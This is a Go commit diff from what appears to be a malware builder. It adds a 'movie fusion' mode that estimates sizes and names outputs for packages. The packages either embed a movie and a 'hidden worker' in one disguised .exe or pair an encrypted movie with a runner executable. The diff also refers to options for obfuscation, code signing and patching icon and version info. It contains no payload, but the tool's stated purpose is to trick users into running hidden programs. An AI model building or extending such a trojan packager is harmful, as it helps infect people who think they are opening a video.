Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
@@ -13,26 +13,44 @@ const (
|
||||
)
|
||||
|
||||
type FusionEstimateResponse struct {
|
||||
PrepBytes int64 `json:"prep_bytes"`
|
||||
PrepName string `json:"prep_name"`
|
||||
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
||||
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
||||
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
||||
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
||||
OutputFileName string `json:"output_file_name"`
|
||||
ProjectRootPath string `json:"project_root_path"`
|
||||
ArchivePathHint string `json:"archive_path_hint"`
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
Notes []string `json:"notes"`
|
||||
PrepBytes int64 `json:"prep_bytes"`
|
||||
PrepName string `json:"prep_name"`
|
||||
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
||||
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
||||
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
||||
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
||||
OutputFileName string `json:"output_file_name"`
|
||||
ProjectRootPath string `json:"project_root_path"`
|
||||
ArchivePathHint string `json:"archive_path_hint"`
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
Notes []string `json:"notes"`
|
||||
}
|
||||
|
||||
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(prepName)
|
||||
if kind == "exe" && prepPath != "" {
|
||||
kind = detectFusionPayloadKind(prepPath)
|
||||
}
|
||||
}
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
outputName := req.FusionOutputName
|
||||
if outputName == "" {
|
||||
outputName = prepName
|
||||
}
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(prepName)
|
||||
}
|
||||
} else if outputName == "" {
|
||||
outputName = runnerNameForMedia(prepName)
|
||||
}
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
@@ -43,13 +61,28 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
|
||||
workerBytes := h.estimateWorkerBytes()
|
||||
stubBytes := defaultFusionStubBytes
|
||||
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
var total int64
|
||||
switch kind {
|
||||
case "video":
|
||||
if mode == "embedded" {
|
||||
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
} else {
|
||||
total = workerBytes + stubBytes + resourcePatchOverhead
|
||||
}
|
||||
default:
|
||||
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
}
|
||||
|
||||
root := h.projectRoot
|
||||
if root == "" || root == "." {
|
||||
root, _ = filepath.Abs(".")
|
||||
}
|
||||
projectOut := filepath.Join(root, outputName)
|
||||
label := prepName
|
||||
if kind != "video" {
|
||||
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
|
||||
}
|
||||
sub := fusionExportSubdir(req, label)
|
||||
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
|
||||
|
||||
resp := FusionEstimateResponse{
|
||||
PrepBytes: prepSize,
|
||||
@@ -64,18 +97,36 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
Obfuscate: h.shouldObfuscate(req),
|
||||
SignBuild: req.SignBuild,
|
||||
Notes: []string{
|
||||
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
|
||||
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
|
||||
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
|
||||
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
|
||||
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
||||
"Final size may differ slightly after icon + version info patch.",
|
||||
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
|
||||
},
|
||||
}
|
||||
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
resp.Notes = append(resp.Notes,
|
||||
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
|
||||
)
|
||||
} else {
|
||||
resp.Notes = append(resp.Notes,
|
||||
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
|
||||
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
|
||||
)
|
||||
}
|
||||
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
|
||||
}
|
||||
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
||||
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
|
||||
resp.ExportPath = filepath.Join(root, clean, outputName)
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
|
||||
secondary := filepath.Join(root, clean, outputName)
|
||||
if resp.ExportPath == "" {
|
||||
resp.ExportPath = secondary
|
||||
}
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +137,6 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||
}
|
||||
|
||||
_ = prepPath
|
||||
return resp
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user